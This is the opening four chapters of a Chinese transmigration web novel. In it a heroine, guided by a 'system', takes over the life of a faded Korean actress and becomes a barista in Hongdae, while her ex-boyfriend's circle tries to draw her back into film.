《快穿之大佬她一心搞事业》 1、第一章 首尔弘大考试院，三楼边间。 冬日午后的阳光并不算刺眼，室内唯一的窗户半开着，透明的窗帐随着风飘动，边缘被一点点卷起，然后又落下。 她在不算宽的床铺上睁开了眼睛，屋外嘈杂的声音让人不适地皱了皱眉毛。 宋玉妍有些吃力地撑着身体半坐起来。视线顺着指尖的触感一看，自己原本柔软的真丝睡裙居然成了粉色棉麻质地。 察觉到不对劲后，她当机立断地翻身下床，赤脚站在浅色木地板上，脚趾被冷地蜷缩了一下。 小心地打量着这个屋子环境，不到十五平米的房间显得分外狭小逼仄，一张靠窗不大的床铺就占据了房间里三分之一的空间。 另一端衣架上满满当当地挂着衣服，衣杆几乎摇摇欲坠。 最亮眼的还是靠墙放置的书桌，铺着浅绿色碎花桌布。上面有铃兰形状的台灯和一个菱形花纹的玻璃花瓶，花瓶里插着一支粉色荔枝玫瑰。 原主把这不算大的房间打理地井井有条。就算是在冬季，那支荔枝玫瑰还是娇柔地挺立着花苞。 「她’应该是一个热爱生活的人。」 想到这，宋玉妍心中的恼怒仿佛被抚平了一些。深吸了几口气，站到书桌前。 她掐着粉色的玫瑰后开口道：“系统？你不应该给我一个解释吗？” 人在上一个世界和恋人过得好好的，一睁眼就毫无防备地换了个地方，真当她没有脾气？！ 外面的走廊传来阵阵脚步声，就像是烧到60度的水，没有沸腾到聒噪的地步，但也让人听得心烦意乱。 手中玫瑰的淡香传来，窗外的阳光也正好，却无法抚平她内心的烦躁。 系统没有办法装死，原本的机械电子音听起来像是带了一丝小心翼翼的情绪。 「宿主，我们来到新的世界了。」 宋玉妍嗤笑一声，“我看起来像是个傻子吗？”优美的唇线被勾起，甜如蜜桃一般的声音听起来轻柔，内容却像是淬了毒。 「系统也没有办法呢！」说完这句话之后，它连忙把原主的记忆传输给宿主，然后就又开始装死。 接收记忆的宋玉妍，感受着这熟悉的眩晕感，怕自己晕倒就又连忙躺回到床上。 脑子在刺痛中放映着记忆碎片，像是蒙太奇一般一幕幕闪过，她走马观花一样看完了原主的半生。 宋玉妍是85年生的大邱人，从小和母亲相依为命地长大。靠着母亲经营一家鱼饼店的收入送‘她’进东国大学的美术系。 如果没有后续变故，以‘她’的天分应该会成为一名现代艺术画家。 东国大学向来是和娱乐圈有着密不可分的联系。因为容貌出众，‘她’从入学第一天就开始被星探盯上。 有一个星探软磨硬泡地跟了原主三年，‘她’始终不为所动。 但在大三那年，因为母亲忧思成虑患上了乳腺癌，为了赚钱帮母亲治病，宋玉妍不得已踏入了那个声色犬马的圈子。 关键的记忆节点再次重映着，这些好像对宋玉妍都很重要。 从青龙电影节上‘她’捧起了最佳新人演员的奖杯。 到公司高层看‘她’商业价值不够，又不愿意主动去讨好一下投资方，把原主给放弃了。 再到原主浑浑噩噩地搬离公司提供的公寓，独自找了一家考试院。 最后定格在那一句…… “我们分手吧！” 残留下来的情绪让宋玉妍很难受，她扶着床边的栏杆踉踉跄跄地走到浴室。然后趴在马桶边开始大吐特吐。 她触发了这具身体的应激反应，当时……应该是接受不了被分手的这个事实。 对于感情投入太深，最后害得自己受了伤。身体为了保护她，不愿意再让她去回想那段过往。 直到吐得只剩酸水，宋玉妍才觉得好受那么一点。 这个时候系统跳出来，「怎么样，宿主，她是不是很可怜，还是帮帮她完成心愿吧！」 “她可怜我就不可怜吗？我本来上一世过得好好的。”本来是靠脑电波交流，但是宋玉妍此刻完全失去了冷静，在浴室里忍不住发泄出来。 系统看她情绪有些不对劲，不敢再提任务的事情了，只能弱弱地反驳一句，「当时签契约的时候你是同意的啊，不同意的话，我们又不会强买强卖。」 一阵缄默，宋玉妍无言以对。 思考了一会，她又重新开始理直气壮，“退一万步说，就算我同意了，你作为系统就一点问题都没有吗？” 随后不再搭理系统，按照原主的习惯摸到了玄关上的钥匙，带上手机出门。 下楼之后，从巷子里拐个弯出来，就是弘大最繁华的区域，商铺鳞次栉比。大大小小的酒吧让人看得目不暇接，五光十色的霓虹灯更是把这里的天空涂得乱七八糟。 宋玉妍目不斜视地穿过一个个店铺，好像对那一个世界完全不感兴趣。 直到看到符合自己要求的咖啡店，橱窗上贴着招聘启事，她直接推开玻璃门走了进去。 三言两语就说明了自己的来意后，在系统还没有反应过来的时候，就已经开始准备技能考核了。 注意力完全在卡布奇诺的拉花的形状上，宋玉妍屏蔽了店长对于她长相的打量。 系统发出尖锐爆鸣，「宿主、宿主，原主的心愿可是做一个好演员，不是咖啡师……「」 纤细的手指握在奶蓝色的拉花缸把手上，店里面的客人视线不自觉地被吸引，往咖啡机这边看。 大多数的视线都被高高只剩下三分之一透明的咖啡豆桶，遮挡住了大半，只能看到宋玉妍一半侧脸。 昏黄的氛围灯打在她的脸上，皮肤白腻又带着微微泛粉的光泽，像是刚剥好的荔枝肉，看起来清透又柔软。 有两个追星的女生看着她的侧脸窃窃私语。 “那个店员的脸好眼熟啊？是哪个新人女团的门面吗？”穿着白色外套的女生用手肘轻轻碰了碰她的同伴。 旁边那个齐刘海的女主拿起手机，对着吧台拍了一张，。闪关灯和照相机响了一声后，她若无其事地把手机倒扣在桌上。 听到同伴的询问，她微微摇头，表示自己也不知道。 “这种长相，花田sm肯定是不会放过，你不是他们的家族饭吗？会不会是还没有出道的女练习生？” “不会的，除了官网公开的练习生，其他的练习生都会尽量低调。一旦被扒出来，基本上就和出道组无缘了！” 「宿主，你到底想怎么样？都被人发现了，怎么还有心情在咖啡店拉花！」 宋玉妍对系统的质问置若罔闻，把拉花缸里面的奶泡加大流量定点注入，扶正棕色的咖啡杯。 最后动作干净利落地抬高收尾，一个完美的奶白色千层心浮现在浅棕色的咖啡液上。 旁边店长看到她熟练的手法，在心里暗暗点头。最近店里刚走了一个兼职，人手正好不够，她能无缝衔接上最好。 “你稍等一下！”随后他从抽屉里拿出一张资料表递给宋玉妍填写。看着她笔画端正，继续说道：“我们咖啡店里的兼职分早晚班，一个班是8小时，每小时薪资是1万韩元。” 他看了眼宋玉妍的相貌，这种名品长相来他们店里打工真是有些委屈了，顿了顿随后说道：“如果做的好的话，我会考虑和老板说给你加工资。上班时候的尽量穿白衬衫和西裤，头发要扎起来，女生画一点淡妆。” 她浅浅鞠了一躬，微微低垂，这样让脸颊看起来更加小了。“内！谢谢崔店长。” 崔俊秀的年纪也不大，因为长相的原因，周边也不乏有女生专门来店里看他、对他示好。 但是对上宋玉妍白腻娇美的面容，他还是忍不住羞赧，粉色瞬间袭上耳根。 他侧过头避开她温柔的视线，语气僵硬地说道：“早班的话8点钟就要到店，明天工作第一天可以稍微早一点到。” 早一点到，她就可以更快地熟悉店里的流程。 崔俊秀想到明天早班店里只有他们两人，有一段独处的时间，心脏就砰砰直跳。 这只是对有好感女生正常反应。 宋玉妍收好咖啡店给的围裙制服后走出咖啡店，一边咬着之前崔俊秀给的摩卡咖啡的吸管，一边懒洋洋地在识海里回复着系统。 「对啊，我就是摆烂。」被系统派任务继续做演员这个职业，宋玉妍有些心不甘情不愿。 系统听到她承认自己不想做任务，而且还要摆烂之后，整个统都不好了。之前宋玉妍再怎么一身反骨，对待任务都还是认认真真的。 「宿主，要不我们就做攻略任务？你知道……」系统打着商量的语气，只要把目标任务攻略下来，原主的心愿完成不了也就算了。 宋玉妍把喝完最后一口冰摩卡，塑料杯里只剩三分之二的冰块，她拿起杯子，定定看着。 「原本我和郑宇盛在一起好好的，你一声不吭地把我丢到这一个世界，这像话吗？」 系统：「……」 「你也觉得不像话吧!」 「况且这个世界的攻略对象应该是李正宰吧？」她把外带的塑料杯，扔进巷口的可回收垃圾桶里。 「你还想让我给你做攻略任务？！」一抹嘲讽的弧度在宋玉妍唇边绽放。 「我不玩兄弟盖饭，你都要感谢我是在红｜旗下长大，正直的五好青年了。」 这番话是真的把系统给刺激到了，「宿主你别乱来啊，你这样干，不但世界会崩塌，你我都会直接湮灭成粒子。」 她没有在回复系统，任谁本来生活地好好的，突然被扔到一个陌生世界都会有脾气。 回到考试院，看着这个单间，宋玉妍眼里划过一抹难受。就算是在最落魄的时候，她都没有住过这么逼仄的房间。 幸好原主找的不是地下室，那样的话她是真的会撂摊子不干。 之前在咖啡店里面拍了宋玉妍侧脸齐刘海女生，在和同伴走出店门的时候，忽然想起来这家熟悉的店看到那个不输艺人颜值的店员是谁了！ 她追sm家的爱豆，就是因为她自己是个颜控。那张脸她见过，连忙点开手机，翻到10年青龙电影节的颁奖礼视频，然后给同伴看。 “敏英呐，你看看这个是不是我们刚刚碰到的那个女店员？” 张敏英接过手机一看，手机上播放着的就是当初宋玉妍捧起青龙新人女演员奖杯的视频。 视频里穿着一袭银色曳地鱼尾裙的女人，明眸善睐，只有眼尾的微红诉说着她此刻心情的不平静。 她对着同伴驴头不对马嘴地回一句：“宋玉妍xi是真的不上相啊！” 如果说现实中是那种夺人心魄的好看，在镜头下她的美貌只剩下六分。但也是南韩难得一见有着东方气韵的明艳大美人。 天知道看着那一溜白开水系的爱豆长相，她都觉得自己被审美霸凌了! 齐刘海白了她一眼，“谁让你夸她了。” 能第一时间吸引她们这两个资深混饭圈追星女的目光，宋玉妍的颜值自然是毋庸置疑的， 她顿了顿继续说道：“敏英呐，你说我们把这个消息卖给狗仔怎么样？忠武路女演员沦落到打工为生，肯定有媒体不会错过这个爆点” 宋玉妍的咖位低、最近又没有新的作品，已经很久没有出现在大众面前了。但是她公司的官网还是有一批影迷和颜粉在等她。 “不太好吧！” “这有什么？你不是说买你家欧巴的新专辑钱不够？这个消息卖出去，我们专辑都能多买几本，说不定还能中签售呢！” 2、第二章 「宿主，你做咖啡还挺有天赋的。」系统干巴巴地夸赞道，从演员到咖啡师，这职业跨度也太大了吧！ 「干一行爱一行嘛，」宋玉妍嘴角轻轻勾了勾，所有的注意力都在手上的咖啡上，右手轻柔地匀两下。 棕色的拿铁上，最后浮现一个层层叠叠树叶形状的完美拉花。 系统：「……」 好像之前那个为了演戏，不疯魔不成活的人不是她一样。 它以为自己摸准了宋玉妍的脉，特意选择一个和上一个世界差不多的职业。 系统认为这样的话，她对仓促换世界的抵触会弱很多。 崔俊秀看着宋玉妍递过来的成品，心中的满意又增添了一分。 能招到一个拉花技术没有问题的稳定兼职，对于他们这种网红咖啡厅来说，已经是意外之喜了。 脑海中系统还在碎碎念。 宋玉妍不管它如何在脑海中撒泼打滚，对它都是无视。 这份兼职并没有想象中的轻松，想象中坐在咖啡店慢悠悠地品尝着咖啡，就着浪漫的旋律工作的场景完全不存在。 从早上七点半到店，到中午一点，她就没有休息过。 因为对配方还不算熟悉，就由店长负责制作。宋玉妍则需要收银、出杯打包、负责打扫餐区卫生。 连轴转了六个小时之后，她终于能歇下来，喘口气。 店内空调的热风开的很足，风口又恰好对着收银台，她又一直在忙前忙后，给热出一身薄汗，白衬衫黏在后背的皮肤上。 她从吧台的纸巾盒里抽出一张纸，擦了擦额头和鬓角后，准备去休息区吃午饭。 崔俊秀给两人都做了杯冰美式，然后趁着店里暂时没有顾客的时候主动提议道，“我们可以一起解决午饭!”。 他也是有私心的，想和对方多相处一会。 她点了点头，就当知道了，然后掀起隔断的帘子进了休息室。 宋玉妍现在的财务状况只能用四个字来形容，捉襟见肘！ 所以在看着对方从饭袋里，一样一样地拿出家人给他准备的便当，神色就有些难辨。 崔俊秀把冰美式放在她右手边，然后依次打开便当盖子。一个饭盒里是紫菜包饭和辣白菜，另一个则是则是鱼饼和煎蛋卷。 这本来是她看都不会多看一眼的饭菜，在她眼里正宗的韩餐就等于是泡菜和速食开大会。但现在宋玉妍咬着从便利店买来的打折饭团，忽然就觉得对面的食物也算得上是丰盛了。 她垂着眼睛，让人看不清眼底的神色，晶莹的皮肤在灯光的晕染下看起来十分动人。 崔俊秀看呆了一瞬，回过神来又觉得她不应该出现在这个地方。 在南韩长得好看的孩子，都被抓去做练习生了。美的更加高级的，早早就和经纪公司签下演员合约，再不济也能去做模特。 以宋玉妍的颜值，出现在这个咖啡店，干着这样的脏活累活，真的算得上是暴殄天物。 她就应该站在万众瞩目的红毯上，或者出现在大银幕上。享受着鲜花、粉丝的追捧、镁光灯的偏爱，再多的赞美和掌声都只能是她脸蛋的陪衬。 他把便当往她那边推了推，“要……试试看吗？wuli偶妈（我的妈妈）手艺还不错的。” 宋玉妍三五二下除地把手里打折的咸蛋黄饭团给解决掉，然后朝他礼貌性地笑了笑：“店长，不用了，我吃饱了，外面可能来客人了。” 随后不等对方反应，直接掀起帘子走到吧台，拿着崔俊秀早上交给她的各种咖啡配方笔记继续看着。 他看着她的背影消失在帘子后面，然后视线又挪到那杯没有喝完的冰美式上，液体只往下掉了浅浅一层。 原来她不喜欢美式。 崔俊秀忽然有些泄气，有些人就算系着灰扑扑的棕色围裙、完全素面朝天，在人群中也是最光彩夺目的那个。 原本出生优越，基本上没有打过工的宋玉妍工作一天只觉得精疲力尽了。 她终于知道为什么之前有些拍纪实片的导演，不喜欢给她递本子了。 之他们都说，她的演技好是好，但是就像是空中楼阁，飘得很。演一些边缘角色还好，一到那种需要生活经验积累的角色，演技就开始“不接地气。” 咖啡店有一桌的两个女生看起来很奇怪，视线老是往她这边。 她们的视线过于灼热了，宋玉妍就算在走神都能感受到。每当她回看过去，她们又把头扭开。 其中有一个齐刘海看起来很是眼熟，好像昨天也来过店里。也许是原主的粉丝吧！可惜了！ 不经意间听到那两个女孩凑在一起嘀嘀咕咕，“确定是她了?” “不可能是长得相似的素人，如果真是，这么好看早就被挖走去做艺人了。” “那就……发这个邮箱吧。” —— 傍晚，站了一天的宋玉妍只觉得腿都不是自己，又酸又胀。 她忍不住不断地向后抬起自己一条腿，放下，然后换另一条。这样可以减轻对腿部肌肉的压迫。 崔俊秀看着坐在角落的三个人，很是奇怪，他们一人占着一张桌子。平均每分钟要在宋玉妍的脸上扫过两圈，然后在戒备地盯着另外两人。 三个人眼神都算不上友好，不停地在张望，就好像要和人接头一样。 其中一个身材匀称，穿着合身的女式西服女士，她把自己黑色的托特包放在对面的椅子上。 看起来妆发都很精致，与精致格格不入的是她的脚，居然搭配着一双运动鞋。 这个白领看起来像是在专注工作。但如果视线不三番五次往吧台看的话，这份专注会更有说服力。 如果崔俊秀没有看错的话，她的眼睛里面蕴含了恨铁不成钢、惋惜、无能为力等等复杂情绪。 这真的应该让那些随意涉足电视剧的爱豆们好好学学，没有这样的演技还是不要从来祸害观众的眼睛。 另一位男士看起来更加奇怪，黑色t恤、鸭舌帽、身体瘦小，把头垂得低低的。 他好像在努力降低自己的存在感，不让周围人记住他。 在南韩这个男女都要服美役的社会，这样的打扮，看起来不像是拥有一份正当职业的上班族。 他胸前背了一个黑色双肩包，拉链并没有完全拉上，包里的缝隙中偶尔闪着白光，崔俊秀揉了揉眼睛还以为自己看错了。 最正常的就是那位靠着柱子的那个中年男士，得体的休闲西服，头发也被打理地干干净净甚至还打了摩丝，甚至抓住出了纹理。 就是右手一直扣在鼓鼓囊囊的裤兜里，也许他在等待一个时机。 崔俊秀忍不住提醒宋玉妍，“宋玉妍xi，角落那边有三个人，一直在看着你。” 她专注地在看着店长怎么操作结账的，今天跟两个班也是为了尽快熟悉咖啡店的流程。 疲惫让她已经没有丝毫力气去干别的，只想着一个小时后的下班，让她赶紧结束这噩梦般的一天。 今天店里的客人比昨天多了不少，在这个颜值至上的社会，被她脸吸引进来的客人不在少数。宋玉妍对各样的目光都已经脱敏了。 所以宋玉妍只是无所谓地嘟囔了一句：“随他们看吧！” 角落里面的那三人似乎发现彼此的目标都是宋玉妍，不约而同地用不友善的目光扫视着另外两个。 那个更为得体地男士狐疑地看了另外两人一眼，他是sm家金牌星探，昨天就盯上这个好苗子了，别是另外两家公司也派过来的星探吧！ 背着包的男人防备地看着另外两个，宋玉妍这种过气艺人，只对小报有新闻价值，另外两个不会是同行来抢他kpi的吧！ 最后一个注意力好像都在电脑上，看似只顾着工作，不再对上其他人的视线，退出他们的“猜疑链”。 终于，sm家的星探坐不住了，见两人都没有离开的趋势，当机立断地从裤兜掏出自己的名片，挂着满面职业笑容朝水吧走去。 “你好，我是sm家的星探，觉得你的条件很优越，有兴趣做爱豆吗？”顺手把名片放在宋玉妍的左手边。 爱豆？听到这久违的词汇，宋玉妍微微抬起了头，丹凤眼瞪得微圆里面盛满了愕然。在上一个世界她做爱豆的时候和sm都算得上是对家。 “米亚内……”她拒绝的话还没有说出口，就被打断了。 开玩笑他可是追过吴世熏三条街的男人，如果错过了这样一个好苗子，进而错失丰厚的奖金，他今年都会睡不着的。 这张脸，简直就是为sm花田而生的，他都可以预见新女团一出道，这位绝对可以是稳坐三代第一神颜的位置。 不用他说，这张脸只要不崩，至少能为公司新女团的推出提供一半的助力。 二代女团里对于林允娥和裴秀知的颜值高低还没有结果。但是这位绝对是南韩独一份的惊艳耐看。 不让宋玉妍把拒绝的话语说出口，星探继续说道：“我们公司今年推出的男团exo你应该听说过，其中的吴世熏就是我发掘的。 虽然十八岁对于练习生来说有些年龄偏大，但是sm短则一年长则三年就会推出新女团，二十多一点出道也还好。 况且在三大里面我们的实力都是毋庸置疑的，yg对于艺人都是不管不顾，jyp呵，除了一个秀智撑场面，现在都能算得上没落。 没有学过唱跳也没有关系，你这张脸站着就能吸粉，打歌舞台大不了多修修音，或者不开麦，实力可以慢慢练。” 宋玉妍本来对对方打断自己的话有些恼怒，但是听到星探说她十八岁年纪有些大的时候，本来垮掉的脸是垮不了一点。 她嘴角的笑容是真的憋不住一点，崔俊秀在一旁也是忍俊不禁。 “抱歉呀，我可能要拒绝您的邀约了，sm是业内很优秀的公司，如果我年轻9岁的话一定加入。” 星探本来对他们两个的笑有些摸不着头脑，现在听到宋玉妍拒绝的说辞更是如晴天霹雳一般。 他怎么都不敢相信眼前这个笑起来像荔枝玫瑰绽放般娇艳的人，已经过了做练习生的年纪。完全不像是步入二十代后半段的样子! “不可能，你看起来不像是……” 崔俊秀忍着笑意把昨天留存资料的复印件拿出来。 星探和真人反复对比了十多次，最后只能留下一句：“我要是早几年遇见你就好了。” 然后一步三回头，念念不舍地离开这家咖啡店。 宋玉妍听到这话忍不住扶额，这个话说得有些暧昧了。 角落里的另外一个男人不知道是什么时候走的，只剩下唯一的那个女士，走到她身边。 也不知道坐在那里看了多久。 李智真看着宋玉妍从新人走到青龙，明明前途一片璀璨却偏偏落到这种境地，心绪复杂的慌。 好几次张嘴想说些什么，但又不知道从何说起，毕竟是公司先放弃了她不是吗？ 到底还是自己带了好几年的艺人，看到她如此落魄还是忍不住上前提醒道。 “就算是和李正宰分手了，但你们之前的感情做不了假。以他现在在忠武路的抢手程度，从指尖给你随便漏点资源，都够你重新出现在观众面前了。” 宋玉妍只是笑笑，不接话茬。 3、第三章 权相俊作为李正宰的经纪人，关注娱乐圈的大小新闻，本来就是他工作的基本内容之一。 没有想到今天手机推送的新闻，居然来自一个名不见经传的小报，换在平时他根本不会点进去。 只是主页照片的侧脸，让他莫名觉得有些熟悉。在他脑子还没有反应过来时，手指就不自觉地点了进去，翻了两三下，他就把这篇报道看完。 看着正在研读剧本的自家艺人，权相俊不确定这个消息要不要和李正宰说这个消息。 在心底犹豫几番，最后还是准备和他说一下。以李正宰现在的地位，和经纪人之间的关系和新人时期大相径庭。 演员还在新人阶段时，多半凭借着经纪人的关系帮忙撕资源。但李正宰现在已经在忠武路站稳脚跟，两人的地位颠倒，他随时都能换一个更合他心意的新经纪人。 他把手机界面重新调到之前那条新闻的主页，然后放在李正宰正在看的剧本上面。 李正宰原本放在沙发上撑着头的左手，转而去拿起经纪人的手机。瞟了一眼然后问道：“这是什么？” 权相俊说道：“媒体报道了一些关于宋玉妍xi的近况……” 宋玉妍？！已经快一个多月没有听到这个名字，他以为和对方再也不会有交集了。 又重新听到，李正宰难免感到有些恍若隔世。 他的手指不自觉地在照片上摩挲着。咖啡店的背景下，衬得她褪去了名利圈里的浮躁，就算回归到素人生活，也依旧美得独树一帜。 从角度还有分辨率可以看出，这个小报的狗仔明显是偷拍。但就算是糊成一团的像素，难以遮掩主角的妍丽。棕色的贝雷帽和同色系的围裙，给她秾丽的面容增添了几分清纯。 李正宰的心脏还是不受控制地跳漏了两拍，身体的反应不会骗人。他……依旧会为她动心。 他的内心如潮水一般涌起一波接着一波无可名状的情绪，细细体会一番，还是遗憾多一些。 分不清这份惋惜是因为对方的天赋终究还是湮没在演员这条路上多一点。还是面对那份无疾而终的感情，他内心的叹息更多一点。 总之，就算是推开了经纪人的手机，这份剧本也看不进去了。李正宰的脑子像是浆糊搅拌到了一起，他已经无暇分辨这个剧本的好坏。 索性他点起一根烟，想要借助尼古丁帮助自己镇定下来。 不可否认，宋玉妍的长相在忠武路就是独一份的美貌。只可惜，挑剧本的眼光不好。混了快四年，就算拿到了最佳新人女演员，但国民度打不开，还是扛不起电影票房。 李正宰内心的惋惜之情更甚，“权相俊xi，你去和《观相》的导演沟通一下，看还有没有人设比较出彩的女角色，有的话看能不能帮她推荐一下。” 总归……总归不忍心看到好苗子被埋没。 经纪人在心里松口气，就算自家艺人主动和宋玉妍提了分手。但之前那快两年的感情做不得假，到现在还想着拉人家一把。 也幸好他没有自作主张的把宋玉妍的消息略过。不然李正宰嘴上虽然不会说什么，但是心里可能会对他的能力打个问号。 “内，我这边会和韩在林导演沟通的。” —— 宋玉妍在咖啡店上了一个星期的班。 系统看她没有丝毫改变想法的意思。眼睁睁地看着她从刚开始当普通的打工仔当的从不适应，到习惯，再到现在乐在其中。 完全看不出对名利有着丝毫野心。系统很纳闷，明明它数据库里面的资料表明，人一旦从高处跌落，都是会有很强的戒断反应的。 体验过无数人捧着的感觉，为什么还会甘于平凡？为什么宋玉妍好像完全不受影响？ 「宿主，今年的韩国电影圈可是出了不少好本子，你真的一点兴趣都没有吗？」 在上一个世界，美国的资本已经完全控制了韩国的娱乐产业，不管是电影、电视剧还是kpop都透露着浓烈的流水线工厂味道。 这也是为什么后期宋玉妍不爱接剧本的原因之一。她觉得与其拍二流电影，不如让自己好好休息。 以网飞为代表的资本，疯狂吸食着韩国娱乐产业的养分，吐出一个个披着韩国皮的美式故事。 资本搅乱了市场之后，再连本带利地收割，留下整个产业链被打击后的烂摊子，最后把狩猎目光瞄准下一个市场。 「不啊，系统，我忽然觉得，做一个咖啡师也很快乐，甚至还打算明年参加一个国际性的赛事，争取三年之内开一家属于自己的咖啡店。」 系统看着最近只沉迷于拉花的宿主，苦口婆心地规劝道：「完不成任务我们都会玩完，而且我已经帮你搭好梯子了，你马上就能重返忠武路。」 比起现在热血感满满的声音，宋玉妍还是喜欢系统的上个世界的机械电子音。 「你到底在燃什么？我什么时候说要重返忠武路了？」 说完，她只顾着自己手上的咖啡了，在系统不注意的时候，嘴角轻轻勾了勾。 钓鱼嘛！还是慢慢来比较有趣。 这几天因为宋玉妍的长相，给店里带了不少营业额，崔店长也和老板申请，把她的时薪涨到2万韩元。 宋玉妍终于松了一口气，加上原本的积蓄，她终于能够交得起下月的房租，不用担心流落街头。 直到晚上8点半点之后，客人变少，店里面也只配备了她一个员工。 看着熟悉的角落有一个奇怪又有些熟悉的人影，她在心中泛起疑问，那是什么风水宝地？怎么奇怪的人都喜欢在那个位置凑堆？ 就点了个中杯的冰美式，是怎么好意思在店里坐6个小时的？ 到时间之后她开始结账、收拾各种器具、打扫用餐区的卫生。 那个奇怪的人终于动了，应该是知道快要打烊，所以他走出了咖啡店。 一边费力拖着地板，一边浅浅擦汗的宋玉妍在心里松口气，不耽误她的下班时间就行。 先把门头的牌子转到暂停营业这面、然后去休息区把工作围裙和贝雷帽取下、关灯、锁门，一系列做完后准备回家。 就在她准备离开时，被一个声音叫住了。 “宋玉妍xi！稍等一下！”在路灯下等了十几分的权相俊，立马把想要转身的人叫住。 转过身发现这个人看着很眼熟。 翻了翻原主的记忆才发现，这是她前男友的经纪人。当初两人在一起的时候，权相俊就没少帮他们打掩护。 此时娱乐圈还没有后来默认的潜规则：狗仔一般不跟演员私生活。 为了追新闻手段，那群无冕之王路子可是野得很，就连转型做了商人的裴晟祐，过往的黑历史都他们被扒了个干净。 当时宋玉妍还是在忠武路刚出道的新人，李正宰则是处于事业上升期。一荣俱荣一损俱损，经纪人当然不希望自家艺人被花边新闻带累。 她转过身，“莫？” 对于她和自家艺人之间的恋情，权相俊一向都不太看好。在他看来就是她一个捞女想上位，然后分享李正宰的人脉资源。 但是没有办法，感情这事，他作为外人也不好多评价些什么。就是每一次碰到她时的态度都是不冷不热，冷淡中甚至带着一丝戒备。 权相俊从包里抽出一打纸，“韩在林导演的《观相》快要开机了，里面有一个配角你可以去试试，这里是剧本梗概。” 已经落魄到要来咖啡店打零工为生，他笃定宋玉妍不会拒绝这个项目。 况且韩在林导演在忠武路的地位毋庸置疑，极擅长拍男性群像戏。不但是青龙的常客，而且每次的项目票房都不会低。 他电影里的女性角色，哪怕只是特约演员都够很多二线的女演员抢破头。 一是因为他片子里女性角色稀少，但一拍一个出彩。二是这是个刷脸的好机会，不管是在青龙电影节的评委会面前，还是在影迷那里。 脑海里被动的回想着和李正宰有关的记忆。再一次听到这个名字，属于身体本能的保护机制又开始了。宋玉妍直接跑到就近的垃圾桶旁边，扶着干呕。 对于原身来说，和前任相关的记忆并不十分美好。每次回想起来都是胸闷气短、脑海像是被针扎过一样难受。 她胃里一阵阵泛酸，生理性的眼泪不由地漫上眼眶，眼尾的薄红更是像是开尽荼靡花事了的那一抹颜色。 权相俊几乎看呆了，手不自觉地想去搀扶着宋玉妍。他在内心惋惜一下，就算是这般的美貌都会沦为公司的弃子，果然有的时候火也是要看运气的。 “不用了！”宋玉妍连忙按住原本复杂翻涌的心绪，切断脑海里无休止的回忆，冷淡地回复道。 “我和李正宰xi之间本来就是两厢情愿，本来不存在谁亏欠了谁，所以这种类似于补偿的分手费，我不需要。以后也不打算在演艺圈发展了，这个角色的本子还是送到其他人的手上吧！优秀的前任就应该像……” 她本来想说死了一样，但话到嘴边还是咽了下去，换了个词。 “就像陌生人一样就好，互不打扰。”话说完，她没有等权相俊反应过来，直接鞠躬走掉。 这番话不但把权相俊定在原地，系统也被震住，难得没有在她工作结束之后，再继续喋喋不休给她洗脑。 直到晚上睡觉之前，系统才悠悠道：「宿主，为了把你的新闻推送到权相俊的手机前我，可没少耗费能量。」 “原来是你做的手脚。”她就说怎么会有那么碰巧的事情。 宋玉妍用手臂撑着脸，看向桌面上的那朵粉荔枝玫瑰。就算是在冬季花期能够延长，一个星期过去也不能阻止它花苞低垂，花瓣的边缘开始泛黄。 她语气开诚布公地和系统商量，“做任务可以，但是我生气你没有任何征兆就把我扔到新世界。不如这样，反正这个世界的攻略对象是李正宰，那我顺便把郑宇盛也攻略了怎么样？” 兄弟盖饭她还没有试过！ 后面这句话虽然是放在心里，但是还是被系统感知到了。脑海中的防空警报般刺耳的声音瞬间响起，系统机械的电子音几乎是在尖叫。 「宿主！不可以！」这样的任务就算完成，作为系统也是会被格式化的，一个世界只允许有一个被攻略者的存在。 总算让她给拿捏到系统的命脉了，宋玉妍毫不在乎地说道：“人生苦短，及时行乐。你怕什么？” 听到这里，系统怎么不知道自家宿主敏锐到已经察觉了它的弱点，现在只想着拿捏住它。各种不合理的要求，只能含泪答应，换取她能在这个世界好好完成任务。 既然要完成原主的心愿，事业当然是重中之重，至于攻略任务那就是顺手的事情。 成为最具商业价值的女演员！这让宋玉妍有些头痛，忠武路演员地位虽然高，但是吸金能力还真比不上大热剧的演员。 就比如说忠武路演员很少接快销品代言，这就是为了维持逼格和神秘感。也不能上综艺，因为这对塑造角色不利。一旦娱乐化，以后观众看你，就只会记住你在综艺里的表现。 要么就像元彬那样，在已经坐稳顶级演员的位置后，把自己包装成奢侈品。这样的商业价值就会足够高，靠代言质量取胜。 第二天上班的宋玉妍坐在水吧前咬着笔，苦恼着未来的职业规划。 刚参加完《新世界》的剧本围读会的李正宰鬼使神差地让司机从江南绕到弘大，找经纪人要到所在咖啡店的位置后，停在路边。 他透过玻璃窗看着里面的人出神，宋玉妍她……看起来过得也还不错。 昏黄的灯光描绘着她的纤影，棕色的贝雷帽下是两缕俏皮的鬓发。 这样的她看起来毫无屏幕上独属于明星的距离感，几乎把他的记忆拉回到东国大学初见的时候。 4、第四章 初遇是平安夜那天，李正宰印象最深刻的是那一年《1724妓房动乱事件》上映，12月开始他的口碑变差。 也许是因为事业上过于失意，所以之前在东国大学教过他的老师向他发出邀请，李正宰当时没有拒绝。 第一次见宋玉妍是在东国，当时他赶着去见老师，忽略了东国已经更改的校园布局，不小心走到了美术系那边。 细雪影影绰绰地蒙着这个世界，枯枝的上方是阴霾的天空，钢筋建筑上没有一点光辉，一切都不算是最好的安排。 顺着原本的记忆上了五楼，正想抬手敲门，就听到里面传出的对话声音。 “宋玉妍呐，你在画画上很有天赋，为什么要放弃去做一个演员呢？” 从缝隙中李正宰瞟到她的背影，纤弱又单薄，就算是冬季的衣服，裹在她身上也是空落落的。 他当然反应过来走错地方了，但这个背影让他挪不开脚步，停滞在走廊上。 “老师，米亚内，辜负了你的期待。”宋玉妍有些难过，自己的老师一直很欣赏她。 为了她甚至用掉了最后一个特招名额，不然以她的家庭条件是进不来东国的。 “你想好了吗？”老师在红木桌后叹了口气。“想好了就行。” 从办公室出来的宋玉妍再也绷不住情绪，在拐角处蹲下捂着脸小心地抽泣着。 母亲的病重、生活的重担、还有刚演戏时的茫然像海水一般向她袭来。 宋玉妍不想和老师述说自家的情况，她已经帮了自己很多了。只能在无人的地方小心翼翼地放纵一会自己的情绪。 比窗台上快要融化的积雪还要脆弱几分的是她苍白的脸色。 从他的这个角度看过去，只能看到宋玉妍微垂的侧脸，羽睫上挂着将落未落的泪珠和眼尾的薄红形成了奇妙的反差。 李正宰看的目不转睛，明明不算是很有冲击力的美。忽然就让他想到年幼时，爷爷书房中那副视若珍宝的中国画。 